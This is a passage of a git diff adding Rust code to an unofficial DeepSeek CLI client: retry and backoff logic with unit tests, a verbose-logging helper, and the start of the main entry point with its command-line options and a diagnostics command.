max delay + pub fn with_max_delay(mut self, delay: f64) -> Self { + self.max_delay = delay; + self + } + + /// Builder method to enable/disable jitter + pub fn with_jitter(mut self, enabled: bool) -> Self { + self.jitter = enabled; + self + } + + /// Builder method to set request timeout + pub fn with_request_timeout(mut self, timeout: f64) -> Self { + self.request_timeout = timeout; + self + } + + /// Builder method to set total timeout + pub fn with_total_timeout(mut self, timeout: f64) -> Self { + self.total_timeout = timeout; + self + } + + /// Calculates the delay for a given retry attempt. + /// + /// Uses exponential backoff: delay = `initial_delay` * `exponential_base^attempt` + /// The result is capped at `max_delay` and optionally has jitter applied. + /// + /// # Arguments + /// + /// * `attempt` - Zero-based attempt number (0 = first retry) + /// + /// # Returns + /// + /// Duration to wait before the next retry attempt + pub fn delay_for_attempt(&self, attempt: u32) -> Duration { + let exponent = i32::try_from(attempt).unwrap_or(i32::MAX); + let base_delay = self.initial_delay * self.exponential_base.powi(exponent); + let capped_delay = base_delay.min(self.max_delay); + + let final_delay = if self.jitter { + // Add random jitter to prevent thundering herd problem + // Uses a simple deterministic approach when rand is not available + let jitter_range = capped_delay * self.jitter_factor; + + // Simple pseudo-random jitter based on current time + // This avoids adding the rand crate as a dependency + let nanos = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.subsec_nanos()) + .unwrap_or(0); + let random_factor = f64::from(nanos % 1000) / 1000.0; // 0.0 to 0.999 + let jitter = jitter_range * (2.0 * random_factor - 1.0); // -range to +range + + (capped_delay + jitter).max(0.0) + } else { + capped_delay + }; + + Duration::from_secs_f64(final_delay) + } + + /// Checks if a given HTTP status code should trigger a retry + pub fn is_retryable_status(&self, status: u16) -> bool { + self.retryable_status_codes.contains(&status) + } +} + +/// Converts from the existing `RetryPolicy` in config +impl From for RetryConfig { + fn from(policy: RetryPolicy) -> Self { + Self { + enabled: policy.enabled, + max_retries: policy.max_retries, + initial_delay: policy.initial_delay, + max_delay: policy.max_delay, + exponential_base: policy.exponential_base, + ..Default::default() + } + } +} + +/// Converts back to `RetryPolicy` for compatibility +impl From for RetryPolicy { + fn from(config: RetryConfig) -> Self { + Self { + enabled: config.enabled, + max_retries: config.max_retries, + initial_delay: config.initial_delay, + max_delay: config.max_delay, + exponential_base: config.exponential_base, + } + } +} + +// === Retry Error and Result Types === + +/// Error returned when all retry attempts have been exhausted. +#[derive(Debug)] +pub struct RetryError { + /// The last error encountered + pub last_error: LlmError, + + /// Total number of attempts made + pub attempts: u32, + + /// Total time spent across all attempts + pub total_time: Duration, +} + +impl std::fmt::Display for RetryError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "Retry exhausted after {} attempts ({:?}): {}", + self.attempts, self.total_time, self.last_error + ) + } +} + +impl std::error::Error for RetryError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + Some(&self.last_error) + } +} + +/// Result type for retry operations +pub type RetryResult = Result; + +/// Callback type for retry notifications +/// +/// Called before each retry with: +/// - The error that triggered the retry +/// - The attempt number (0-based) +/// - The delay before the next attempt +pub type RetryCallback = Box; + +// === with_retry - Generic Retry Wrapper === + +/// Executes an async operation with configurable retry logic. +/// +/// This function wraps any async operation that returns `Result` +/// and automatically retries on transient failures using exponential backoff. +/// +/// # Arguments +/// +/// * `config` - Retry configuration (delays, max attempts, etc.) +/// * `operation` - Async closure to execute (will be called multiple times on retry) +/// * `callback` - Optional callback for retry notifications (logging, metrics, etc.) +/// +/// # Returns +/// +/// * `Ok(T)` - The successful result from the operation +/// * `Err(RetryError)` - All retries exhausted or non-retryable error encountered +/// +/// # Example +/// +/// ```ignore +/// let result = with_retry( +/// &config, +/// || async { client.send_request(&req).await }, +/// Some(Box::new(|err, attempt, delay| { +/// eprintln!("Retry {} after {:?}: {}", attempt, delay, err); +/// })), +/// ).await; +/// ``` +pub async fn with_retry( + config: &RetryConfig, + mut operation: F, + callback: Option, +) -> RetryResult +where + F: FnMut() -> Fut, + Fut: Future>, +{ + // If retries are disabled, just run once + if !config.enabled { + return operation().await.map_err(|e| RetryError { + last_error: e, + attempts: 1, + total_time: Duration::ZERO, + }); + } + + let start_time = Instant::now(); + let total_timeout = if config.total_timeout > 0.0 { + Some(Duration::from_secs_f64(config.total_timeout)) + } else { + None + }; + + let mut last_error: Option = None; + + // Attempt 0 is the first try, then up to max_retries additional attempts + for attempt in 0..=config.max_retries { + // Check total timeout + if let Some(timeout) = total_timeout + && start_time.elapsed() >= timeout + { + return Err(RetryError { + last_error: last_error.unwrap_or(LlmError::Timeout(timeout)), + attempts: attempt, + total_time: start_time.elapsed(), + }); + } + + match operation().await { + Ok(result) => return Ok(result), + Err(err) => { + // Non-retryable errors fail immediately + if !err.is_retryable() { + return Err(RetryError { + last_error: err, + attempts: attempt + 1, + total_time: start_time.elapsed(), + }); + } + + // Last attempt - no more retries + if attempt >= config.max_retries { + return Err(RetryError { + last_error: err, + attempts: attempt + 1, + total_time: start_time.elapsed(), + }); + } + + // Calculate delay + // Use server's Retry-After if available and configured + let base_delay = config.delay_for_attempt(attempt); + let delay = if config.respect_retry_after { + err.suggested_retry_delay().unwrap_or(base_delay) + } else { + base_delay + }; + + // Notify callback if provided + if let Some(ref cb) = callback { + cb(&err, attempt, delay); + } + + last_error = Some(err); + + // Wait before retrying + tokio::time::sleep(delay).await; + } + } + } + + // Should not reach here, but handle gracefully + Err(RetryError { + last_error: last_error.unwrap_or(LlmError::Other("Unknown retry error".to_string())), + attempts: config.max_retries + 1, + total_time: start_time.elapsed(), + }) +} + +/// Simplified version of `with_retry` without callback +pub async fn with_retry_simple(config: &RetryConfig, operation: F) -> RetryResult +where + F: FnMut() -> Fut, + Fut: Future>, +{ + with_retry(config, operation, None).await +} + +// === Utility Functions === + +/// Parses the Retry-After header value into a Duration. +/// +/// Supports both: +/// - Seconds as integer: "120" -> 120 seconds +/// - HTTP-date format: "Wed, 21 Oct 2015 07:28:00 GMT" (not implemented, returns None) +pub fn parse_retry_after(value: &str) -> Option { + // Try parsing as seconds + if let Ok(seconds) = value.parse::() { + return Some(Duration::from_secs(seconds)); + } + + // Try parsing as float seconds + if let Ok(seconds) = value.parse::() { + return Some(Duration::from_secs_f64(seconds)); + } + + // HTTP-date format not supported yet + // Could use chrono or httpdate crate if needed + None +} + +/// Extracts Retry-After duration from response headers +pub fn extract_retry_after(headers: &reqwest::header::HeaderMap) -> Option { + headers + .get(reqwest::header::RETRY_AFTER) + .and_then(|v| v.to_str().ok()) + .and_then(parse_retry_after) +} + +// === Tests === + +#[cfg(test)] +mod tests { + use super::*; + + fn assert_f64_eq(actual: f64, expected: f64) { + assert!( + (actual - expected).abs() < f64::EPSILON, + "expected {expected}, got {actual}" + ); + } + + #[test] + fn test_retry_config_defaults() { + let config = RetryConfig::default(); + assert!(config.enabled); + assert_eq!(config.max_retries, 3); + assert_f64_eq(config.initial_delay, 1.0); + assert_f64_eq(config.max_delay, 60.0); + assert_f64_eq(config.exponential_base, 2.0); + assert!(config.jitter); + } + + #[test] + fn test_retry_config_disabled() { + let config = RetryConfig::disabled(); + assert!(!config.enabled); + } + + #[test] + fn test_retry_config_builder() { + let config = RetryConfig::new() + .with_max_retries(5) + .with_initial_delay(2.0) + .with_max_delay(120.0) + .with_jitter(false); + + assert_eq!(config.max_retries, 5); + assert_f64_eq(config.initial_delay, 2.0); + assert_f64_eq(config.max_delay, 120.0); + assert!(!config.jitter); + } + + #[test] + fn test_delay_for_attempt_exponential() { + let config = RetryConfig::new().with_jitter(false); + + // delay = initial * base^attempt + // 1.0 * 2^0 = 1.0 + let d0 = config.delay_for_attempt(0); + assert_eq!(d0, Duration::from_secs_f64(1.0)); + + // 1.0 * 2^1 = 2.0 + let d1 = config.delay_for_attempt(1); + assert_eq!(d1, Duration::from_secs_f64(2.0)); + + // 1.0 * 2^2 = 4.0 + let d2 = config.delay_for_attempt(2); + assert_eq!(d2, Duration::from_secs_f64(4.0)); + + // 1.0 * 2^3 = 8.0 + let d3 = config.delay_for_attempt(3); + assert_eq!(d3, Duration::from_secs_f64(8.0)); + } + + #[test] + fn test_delay_for_attempt_capped() { + let config = RetryConfig::new().with_jitter(false).with_max_delay(5.0); + + // 1.0 * 2^3 = 8.0, but capped at 5.0 + let d3 = config.delay_for_attempt(3); + assert_eq!(d3, Duration::from_secs_f64(5.0)); + } + + #[test] + fn test_delay_for_attempt_with_jitter() { + let config = RetryConfig::new().with_jitter(true); + + // With jitter, delays should vary slightly + let d1 = config.delay_for_attempt(1); + let d2 = config.delay_for_attempt(1); + + // Both should be close to 2.0 seconds (within 10% jitter) + let base = 2.0; + let range = base * 0.1; + assert!(d1.as_secs_f64() >= base - range); + assert!(d1.as_secs_f64() <= base + range); + assert!(d2.as_secs_f64() >= base - range); + assert!(d2.as_secs_f64() <= base + range); + } + + #[test] + fn test_is_retryable_status() { + let config = RetryConfig::default(); + + assert!(config.is_retryable_status(429)); // Rate limit + assert!(config.is_retryable_status(500)); // Internal server error + assert!(config.is_retryable_status(502)); // Bad gateway + assert!(config.is_retryable_status(503)); // Service unavailable + assert!(config.is_retryable_status(504)); // Gateway timeout + + assert!(!config.is_retryable_status(400)); // Bad request + assert!(!config.is_retryable_status(401)); // Unauthorized + assert!(!config.is_retryable_status(403)); // Forbidden + assert!(!config.is_retryable_status(404)); // Not found + } + + #[test] + fn test_llm_error_retryable() { + // Retryable errors + assert!( + LlmError::RateLimited { + message: "too many requests".to_string(), + retry_after: None + } + .is_retryable() + ); + assert!( + LlmError::ServerError { + status: 500, + message: "internal error".to_string() + } + .is_retryable() + ); + assert!(LlmError::NetworkError("connection refused".to_string()).is_retryable()); + assert!(LlmError::Timeout(Duration::from_secs(30)).is_retryable()); + + // Non-retryable errors + assert!(!LlmError::AuthenticationError("invalid key".to_string()).is_retryable()); + assert!( + !LlmError::InvalidRequest { + status: 400, + message: "bad json".to_string() + } + .is_retryable() + ); + assert!(!LlmError::ContentPolicyError("unsafe content".to_string()).is_retryable()); + assert!(!LlmError::ContextLengthError("too long".to_string()).is_retryable()); + } + + #[test] + fn test_llm_error_from_http_response() { + // Rate limit + let err = LlmError::from_http_response(429, "rate limit exceeded"); + assert!(matches!(err, LlmError::RateLimited { .. })); + + // Auth errors + let err = LlmError::from_http_response(401, "invalid api key"); + assert!(matches!(err, LlmError::AuthenticationError(_))); + + let err = LlmError::from_http_response(403, "forbidden"); + assert!(matches!(err, LlmError::AuthenticationError(_))); + + // Server errors + let err = LlmError::from_http_response(500, "internal server error"); + assert!(matches!(err, LlmError::ServerError { status: 500, .. })); + + let err = LlmError::from_http_response(503, "service unavailable"); + assert!(matches!(err, LlmError::ServerError { status: 503, .. })); + + // Context length + let err = LlmError::from_http_response(400, "context_length_exceeded"); + assert!(matches!(err, LlmError::ContextLengthError(_))); + + // Content policy + let err = LlmError::from_http_response(400, "content_policy_violation"); + assert!(matches!(err, LlmError::ContentPolicyError(_))); + + // Generic 400 + let err = LlmError::from_http_response(400, "invalid json"); + assert!(matches!(err, LlmError::InvalidRequest { status: 400, .. })); + } + + #[test] + fn test_llm_error_suggested_retry_delay() { + let err = LlmError::RateLimited { + message: "slow down".to_string(), + retry_after: Some(Duration::from_secs(60)), + }; + assert_eq!(err.suggested_retry_delay(), Some(Duration::from_secs(60))); + + let err = LlmError::ServerError { + status: 500, + message: "error".to_string(), + }; + assert_eq!(err.suggested_retry_delay(), None); + } + + #[test] + fn test_parse_retry_after() { + // Integer seconds + assert_eq!(parse_retry_after("120"), Some(Duration::from_secs(120))); + assert_eq!(parse_retry_after("0"), Some(Duration::from_secs(0))); + + // Float seconds + assert_eq!(parse_retry_after("1.5"), Some(Duration::from_secs_f64(1.5))); + + // Invalid + assert_eq!(parse_retry_after("invalid"), None); + assert_eq!(parse_retry_after(""), None); + } + + #[test] + fn test_retry_policy_conversion() { + let policy = RetryPolicy { + enabled: true, + max_retries: 5, + initial_delay: 2.0, + max_delay: 30.0, + exponential_base: 3.0, + }; + + let config: RetryConfig = policy.clone().into(); + assert_eq!(config.enabled, policy.enabled); + assert_eq!(config.max_retries, policy.max_retries); + assert_f64_eq(config.initial_delay, policy.initial_delay); + assert_f64_eq(config.max_delay, policy.max_delay); + assert_f64_eq(config.exponential_base, policy.exponential_base); + + // Convert back + let policy2: RetryPolicy = config.into(); + assert_eq!(policy2.enabled, policy.enabled); + assert_eq!(policy2.max_retries, policy.max_retries); + } + + #[tokio::test] + async fn test_with_retry_success_first_attempt() { + let config = RetryConfig::default(); + let mut call_count = 0; + + let result = with_retry( + &config, + || { + call_count += 1; + async { Ok::<_, LlmError>(42) } + }, + None, + ) + .await; + + assert!(result.is_ok()); + assert_eq!(result.unwrap(), 42); + assert_eq!(call_count, 1); + } + + #[tokio::test] + async fn test_with_retry_disabled() { + let config = RetryConfig::disabled(); + let mut call_count = 0; + + let result: RetryResult = with_retry( + &config, + || { + call_count += 1; + async { + Err(LlmError::ServerError { + status: 500, + message: "error".to_string(), + }) + } + }, + None, + ) + .await; + + assert!(result.is_err()); + assert_eq!(call_count, 1); // No retries when disabled + } + + #[tokio::test] + async fn test_with_retry_non_retryable_error() { + let config = RetryConfig::default(); + let mut call_count = 0; + + let result: RetryResult = with_retry( + &config, + || { + call_count += 1; + async { Err(LlmError::AuthenticationError("bad key".to_string())) } + }, + None, + ) + .await; + + assert!(result.is_err()); + assert_eq!(call_count, 1); // Auth errors are not retried + } + + #[tokio::test] + async fn test_with_retry_eventual_success() { + let config = RetryConfig::new() + .with_max_retries(3) + .with_initial_delay(0.01); // Fast for testing + + let call_count = std::sync::Arc::new(std::sync::atomic::AtomicU32::new(0)); + let cc = call_count.clone(); + + let result = with_retry( + &config, + || { + let count = cc.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + async move { + if count < 2 { + Err(LlmError::ServerError { + status: 500, + message: "temporary error".to_string(), + }) + } else { + Ok::<_, LlmError>(42) + } + } + }, + None, + ) + .await; + + assert!(result.is_ok()); + assert_eq!(result.unwrap(), 42); + assert_eq!(call_count.load(std::sync::atomic::Ordering::SeqCst), 3); // 2 failures + 1 success + } + + #[tokio::test] + async fn test_with_retry_exhausted() { + let config = RetryConfig::new() + .with_max_retries(2) + .with_initial_delay(0.01); + + let call_count = std::sync::Arc::new(std::sync::atomic::AtomicU32::new(0)); + let cc = call_count.clone(); + + let result: RetryResult = with_retry( + &config, + || { + cc.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + async { + Err(LlmError::ServerError { + status: 500, + message: "persistent error".to_string(), + }) + } + }, + None, + ) + .await; + + assert!(result.is_err()); + let err = result.unwrap_err(); + assert_eq!(err.attempts, 3); // 1 initial + 2 retries + assert_eq!(call_count.load(std::sync::atomic::Ordering::SeqCst), 3); + } + + #[tokio::test] + async fn test_with_retry_callback() { + let config = RetryConfig::new() + .with_max_retries(2) + .with_initial_delay(0.01); + + let callback_count = std::sync::Arc::new(std::sync::atomic::AtomicU32::new(0)); + let cc = callback_count.clone(); + + let _: RetryResult = with_retry( + &config, + || async { + Err(LlmError::ServerError { + status: 500, + message: "error".to_string(), + }) + }, + Some(Box::new(move |_err, _attempt, _delay| { + cc.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + })), + ) + .await; + + // Callback called once per retry (not for the final failure) + assert_eq!(callback_count.load(std::sync::atomic::Ordering::SeqCst), 2); + } + + #[test] + fn test_retry_error_display() { + let err = RetryError { + last_error: LlmError::ServerError { + status: 500, + message: "internal error".to_string(), + }, + attempts: 4, + total_time: Duration::from_secs(10), + }; + + let display = format!("{err}"); + assert!(display.contains("4 attempts")); + assert!(display.contains("10")); + assert!(display.contains("Server error")); + } +} diff --git a/src/logging.rs b/src/logging.rs new file mode 100644 index 00000000..c6a806c9 --- /dev/null +++ b/src/logging.rs @@ -0,0 +1,35 @@ +//! Lightweight verbose logging helpers for the CLI. + +use std::sync::atomic::{AtomicBool, Ordering}; + +use colored::Colorize; + +use crate::palette; +static VERBOSE: AtomicBool = AtomicBool::new(false); + +/// Enable or disable verbose logging output. +pub fn set_verbose(enabled: bool) { + VERBOSE.store(enabled, Ordering::SeqCst); +} + +/// Check whether verbose logging is enabled. +#[must_use] +pub fn is_verbose() -> bool { + VERBOSE.load(Ordering::SeqCst) +} + +/// Emit a verbose info message (no-op when verbosity is disabled). +pub fn info(message: impl AsRef) { + if is_verbose() { + let (r, g, b) = palette::DEEPSEEK_SKY_RGB; + eprintln!("{} {}", "info".truecolor(r, g, b).bold(), message.as_ref()); + } +} + +/// Emit a verbose warning message (no-op when verbosity is disabled). +pub fn warn(message: impl AsRef) { + if is_verbose() { + let (r, g, b) = palette::DEEPSEEK_SKY_RGB; + eprintln!("{} {}", "warn".truecolor(r, g, b).bold(), message.as_ref()); + } +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 00000000..32b8f3d8 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,1520 @@ +//! CLI entry point for the `DeepSeek` client. + +use std::io::{self, IsTerminal, Read, Write}; +use std::path::{Path, PathBuf}; +use std::process::{Command, Stdio}; +use std::time::Duration; + +use anyhow::{Result, bail}; +use clap::{Args, CommandFactory, Parser, Subcommand}; +use clap_complete::{Shell, generate}; +use dotenvy::dotenv; +use tempfile::NamedTempFile; +use wait_timeout::ChildExt; + +mod client; +mod command_safety; +mod commands; +mod compaction; +mod config; +mod core; +mod duo; +mod execpolicy; +mod features; +mod hooks; +mod llm_client; +mod logging; +mod mcp; +mod models; +mod palette; +mod pricing; +mod project_context; +mod project_doc; +mod prompts; +mod responses_api_proxy; +mod rlm; +mod sandbox; +mod session_manager; +mod settings; +mod skills; +mod tools; +mod tui; +mod ui; +mod utils; + +use crate::config::Config; +use crate::llm_client::LlmClient; +use crate::mcp::{McpConfig, McpPool}; +use crate::models::{ContentBlock, Message, MessageRequest, SystemPrompt}; +use crate::session_manager::{SessionManager, create_saved_session}; +use crate::tui::history::{summarize_tool_args, summarize_tool_output}; + +#[derive(Parser, Debug)] +#[command( + name = "deepseek", + author, + version, + about = "DeepSeek CLI - Chat with DeepSeek", + long_about = "Unofficial CLI for the DeepSeek API.\n\nJust run 'deepseek' to start chatting.\n\nNot affiliated with DeepSeek Inc." +)] +struct Cli { + /// Subcommand to run + #[command(subcommand)] + command: Option, + + #[command(flatten)] + feature_toggles: FeatureToggles, + + /// Send a one-shot prompt (non-interactive) + #[arg(short, long)] + prompt: Option, + + /// YOLO mode: enable agent tools + shell execution + #[arg(long)] + yolo: bool, + + /// Maximum number of concurrent sub-agents (1-5) + #[arg(long)] + max_subagents: Option, + + /// Path to config file + #[arg(long)] + config: Option, + + /// Enable verbose logging + #[arg(short, long)] + verbose: bool, + + /// Config profile name + #[arg(long)] + profile: Option, + + /// Workspace directory for file operations + #[arg(short, long)] + workspace: Option, + + /// Resume a previous session by ID or prefix + #[arg(short, long)] + resume: Option, + + /// Continue the most recent session + #[arg(short = 'c', long = "continue")] + continue_session: bool, + + /// Disable the alternate screen buffer (inline mode) + #[arg(long = "no-alt-screen")] + no_alt_screen: bool, +} + +#[derive(Subcommand, Debug, Clone)] +#[allow(clippy::large_enum_variant)] +enum Commands { + /// Run system diagnostics and check configuration + Doctor, + /// Generate shell completions + Completions { + /// Shell to generate completions for + #[arg(value_enum)] + shell: Shell, + }, + /// List saved sessions + Sessions { + /// Maximum number of sessions to display + #[arg(short, long, default_value = "20")] + limit: usize, + /// Search sessions by title + #[arg(short, long)] + search: Option, + }, + /// Create default AGENTS.md in current directory + Init, + /// Save a DeepSeek API key to the config file + Login { + /// API key to store (otherwise read from stdin) + #[arg(long)] + api_key: Option, + }, + /// Remove the saved API key + Logout, + /// Run a non-interactive prompt + Exec(ExecArgs), + /// Run a code review over a git diff + Review(ReviewArgs), + /// Apply a patch file (or stdin) to the working tree + Apply(ApplyArgs), + /// Manage MCP servers + Mcp { + #[command(subcommand)] + command: McpCommand, + }, + /// Execpolicy tooling + Execpolicy(ExecpolicyCommand), + /// Inspect feature flags + Features(FeaturesCli), + /// Run a command inside the sandbox + Sandbox(SandboxArgs), + /// Resume a previous session by ID (use --last for most recent) + Resume { + /// Conversation/session id (UUID or prefix) + #[arg(value_name = "SESSION_ID")] + session_id: Option, + /// Continue the most recent session without a picker + #[arg(long = "last", default_value_t = false, conflicts_with = "session_id")] + last: bool, + }, + /// Fork a previous session by ID (use --last for most recent) + Fork { + /// Conversation/session id (UUID or prefix) + #[arg(value_name = "SESSION_ID")] + session_id: Option, + /// Fork the most recent session without a picker + #[arg(long = "last", default_value_t = false, conflicts_with = "session_id")] + last: bool, + }, + /// Internal: run the responses API proxy. + #[command(hide = true)] + ResponsesApiProxy(responses_api_proxy::Args), +} + +#[derive(Args, Debug, Clone)] +struct ExecArgs { + /// Prompt to send to the model + prompt: String, + /// Override model for this run + #[arg(long)] + model: Option, + /// Enable agentic mode with tool access and auto-approvals + #[arg(long, default_value_t = false)] + auto: bool, +} + +#[derive(Args, Debug, Default, Clone)] +struct FeatureToggles { + /// Enable a feature (repeatable). Equivalent to `features.=true`. + #[arg(long = "enable", value_name = "FEATURE", action = clap::ArgAction::Append, global = true)] + enable: Vec, + + /// Disable a feature (repeatable). Equivalent to `features.=false`. + #[arg(long = "disable", value_name = "FEATURE", action = clap::ArgAction::Append, global = true)] + disable: Vec, +} + +impl FeatureToggles { + fn apply(&self, config: &mut Config) -> Result<()> { + for feature in &self.enable { + config.set_feature(feature, true)?; + } + for feature in &self.disable { + config.set_feature(feature, false)?; + } + Ok(()) + } +} + +#[derive(Args, Debug, Clone)] +struct ReviewArgs { + /// Review staged changes instead of the working tree + #[arg(long, conflicts_with = "base")] + staged: bool, + /// Base ref to diff against (e.g. origin/main) + #[arg(long)] + base: Option, + /// Limit diff to a specific path + #[arg(long)] + path: Option, + /// Override model for this review + #[arg(long)] + model: Option, + /// Maximum diff characters to include + #[arg(long, default_value_t = 200_000)] + max_chars: usize, +} + +#[derive(Args, Debug, Clone)] +struct ApplyArgs { + /// Patch file to apply (defaults to stdin) + #[arg(value_name = "PATCH_FILE")] + patch_file: Option, +} + +#[derive(Subcommand, Debug, Clone)] +enum McpCommand { + /// List configured MCP servers + List, + /// Connect to MCP servers and report status + Connect { + /// Optional server name to connect to + #[arg(value_name = "SERVER")] + server: Option, + }, + /// List tools discovered from MCP servers + Tools { + /// Optional server name to list tools for + #[arg(value_name = "SERVER")] + server: Option, + }, +} + +#[derive(Args, Debug, Clone)] +struct ExecpolicyCommand { + #[command(subcommand)] + command: ExecpolicySubcommand, +} + +#[derive(Subcommand, Debug, Clone)] +enum ExecpolicySubcommand { + /// Check execpolicy files against a command + Check(execpolicy::ExecPolicyCheckCommand), +} + +#[derive(Args, Debug, Clone)] +struct FeaturesCli { + #[command(subcommand)] + command: FeaturesSubcommand, +} + +#[derive(Subcommand, Debug, Clone)] +enum FeaturesSubcommand { + /// List known feature flags and their state + List, +} + +#[derive(Args, Debug, Clone)] +struct SandboxArgs { + #[command(subcommand)] + command: SandboxCommand, +} + +#[derive(Subcommand, Debug, Clone)] +enum SandboxCommand { + /// Run a command with sandboxing + Run { + /// Sandbox policy (danger-full-access, read-only, external-sandbox, workspace-write) + #[arg(long, default_value = "workspace-write")] + policy: String, + /// Allow outbound network access + #[arg(long)] + network: bool, + /// Additional writable roots (repeatable) + #[arg(long, value_name = "PATH")] + writable_root: Vec, + /// Exclude TMPDIR from writable paths + #[arg(long)] + exclude_tmpdir: bool, + /// Exclude /tmp from writable paths + #[arg(long)] + exclude_slash_tmp: bool, + /// Command working directory + #[arg(long)] + cwd: Option, + /// Timeout in milliseconds + #[arg(long, default_value_t = 60_000)] + timeout_ms: u64, + /// Command and arguments to run + #[arg(required = true, trailing_var_arg = true)] + command: Vec, + }, +} + +#[tokio::main] +async fn main() -> Result<()> { + dotenv().ok(); + let cli = Cli::parse(); + logging::set_verbose(cli.verbose); + + // Handle subcommands first + if let Some(command) = cli.command.clone() { + return match command { + Commands::Doctor => { + run_doctor().await; + Ok(()) + } + Commands::Completions { shell } => { + generate_completions(shell); + Ok(()) + } + Commands::Sessions { limit, search } => list_sessions(limit, search), + Commands::Init => init_project(), + Commands::Login { api_key } => run_login(api_key), + Commands::Logout => run_logout(), + Commands::Exec(args) => { + let config = load_config_from_cli(&cli)?; + let model = args + .model + .or_else(|| config.default_text_model.clone()) + .unwrap_or_else(|| "deepseek-reasoner".to_string()); + if args.auto || cli.yolo { + let workspace = cli.workspace.clone().unwrap_or_else(|| { + std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")) + }); + let max_subagents = cli + .max_subagents + .map_or_else(|| config.max_subagents(), |value| value.clamp(1, 5)); + let auto_mode = args.auto || cli.yolo; + run_exec_agent( + &config, + &model, + &args.prompt, + workspace, + max_subagents, + true, + auto_mode, + ) + .await + } else { + run_one_shot(&config, &model, &args.prompt).await + } + } + Commands::Review(args) => { + let config = load_config_from_cli(&cli)?; + run_review(&config, args).await + } + Commands::Apply(args) => run_apply(args), + Commands::Mcp { command } => { + let config = load_config_from_cli(&cli)?; + run_mcp_command(&config, command).await + } + Commands::Execpolicy(command) => run_execpolicy_command(command), + Commands::Features(command) => { + let config = load_config_from_cli(&cli)?; + run_features_command(&config, command) + } + Commands::Sandbox(args) => run_sandbox_command(args), + Commands::Resume { session_id, last } => { + let config = load_config_from_cli(&cli)?; + let resume_id = resolve_session_id(session_id, last)?; + run_interactive(&cli, &config, Some(resume_id)).await + } + Commands::Fork { session_id, last } => { + let config = load_config_from_cli(&cli)?; + let new_session_id = fork_session(session_id, last)?; + run_interactive(&cli, &config, Some(new_session_id)).await + } + Commands::ResponsesApiProxy(args) => { + responses_api_proxy::run_main(args)?; + Ok(()) + } + }; + } + + // One-shot prompt mode + let config = load_config_from_cli(&cli)?; + if let Some(prompt) = cli.prompt { + let model = config + .default_text_model + .clone() + .unwrap_or_else(|| "deepseek-reasoner".to_string()); + return run_one_shot(&config, &model, &prompt).await; + } + + // Handle session resume + let resume_session_id = if cli.continue_session { + // Get most recent session + match session_manager::SessionManager::default_location() { + Ok(manager) => manager.get_latest_session().ok().flatten().map(|m| m.id), + Err(_) => None, + } + } else { + cli.resume.clone() + }; + + // Default: Interactive TUI + // --yolo starts in YOLO mode (shell + trust + auto-approve) + run_interactive(&cli, &config, resume_session_id).await +} + +/// Generate shell completions for the given shell +fn generate_completions(shell: Shell) { + let mut cmd = Cli::command(); + let name = cmd.get_name().to_string(); + generate(shell, &mut cmd, name, &mut io::stdout()); +} + +/// Run system diagnostics +async fn run_doctor() { + use crate::palette; + use colored::Colorize; + + let (blue_r, blue_g, blue_b) = palette::DEEPSEEK_BLUE_RGB; + let (sky_r, sky_g, sky_b) = palette::DEEPSEEK_SKY_RGB; + let (aqua_r, aqua_g, aqua_b) = palette::DEEPSEEK_SKY_RGB; + let (red_r, red_g, red_b) = palette::DEEPSEEK_RED_RGB; + + println!( + "{}", + "DeepSeek CLI Doctor" + .truecolor(blue_r, blue_g, blue_b) + .bold() + ); + println!("{}", "==================".truecolor(sky_r, sky_g, sky_b)); + println!(); + + // Version info + println!("{}", "Version Information:".bold()); + println!(" deepseek-cli: {}", env!("CARGO_PKG_VERSION")); + println!(" rust: {}", rustc_version()); + println!(); + + // Check configuration + println!("{}", "Configuration:".bold()); + let config_dir = + dirs::home_dir().map_or_else(|| PathBuf::from(".deepseek"), |h| h.join(".deepseek")); + + let config_file = config_dir.join("config.toml"); + if config_file.exists() { + println!( + " {} config.toml found at {}", + "✓".truecolor(aqua_r, aqua_g, aqua_b), + config_file.display() + ); + } else { + println!( + " {} config.toml not found (will use defaults)", + "!".truecolor(sky_r, sky_g, sky_b) + ); + } + + // Check API keys + println!(); + println!("{}", "API Keys:".bold()); + let has_api_key = if std::env::var("DEEPSEEK_API_KEY").is_ok() { + println!( + " {} DEEPSEEK_API_KEY is set", + "✓".truecolor(aqua_r, aqua_g, aqua_b) + ); + true + } else { + let key_in_config = Config::load(None, None) + .ok() + .and_then(|c| c.deepseek_api_key().ok()) + .is_some(); + if key_in_config { + println!( + " {} DeepSeek API key found in config", + "✓".truecolor(aqua_r, aqua_g, aqua_b) + ); + true + } else { + println!( + " {} DeepSeek API key not configured", + "✗".truecolor(red_r, red_g, red_b) + ); + println!(" Run 'deepseek' to configure interactively, or set DEEPSEEK_API_KEY"); + false + } + }; + + // API connectivity test + println!(); + println!("{}", "API Connectivity:".bold()); + if has_api_key { + print!(" {} Testing connection to DeepSeek API...", "·".dimmed()); + // Flush to show progress immediately + use std::io::Write; + std::io::stdout().flush().ok(); + + match test_api_connectivity().await { + Ok(model) => { + println!( + "\r {} API connection successful (model: {})", + "✓".truecolor(aqua_r, aqua_g, aqua_b), + model + ); + } + Err(e) => { + let error_msg = e.to_string(); + println!( + "\r {} API connection failed", + "✗".truecolor(red_r, red_g, red_b) + ); + // Provide helpful diagnostics based on error type + if error_msg.contains("401") || error_msg.contains("Unauthorized") { + println!(" Invalid API key. Check your DEEPSEEK_API_KEY or config.toml"); + } else if error_msg.contains("403") || error_msg.contains("Forbidden") { + println!( + " API key lacks permissions. Verify key is active at platform.deepseek.com" + ); + } else if error_msg.contains("timeout") || error_msg.contains("Timeout") { + println!(" Connection timed out. Check your network connection"); + } else if error_msg.contains("dns") || error_msg.contains("resolve") { + println!(" DNS resolution failed. Check your network connection"); + } else if error_msg.contains("connect") { + println!(" Connection failed. Check firewall settings or try again"); + } else { + println!(" Error: {}", error_msg); + } + } + } + } else { + println!(" {} Skipped (no API key configured)", "·".dimmed()); + } + + // Check MCP configuration + println!(); + println!("{}", "MCP Servers:".bold()); + let mcp_config = config_dir.join("mcp.json"); + if mcp_config.exists() { + println!(" {} mcp.json found", "✓".truecolor(aqua_r, aqua_g, aqua_b)); + if let Ok(content) = 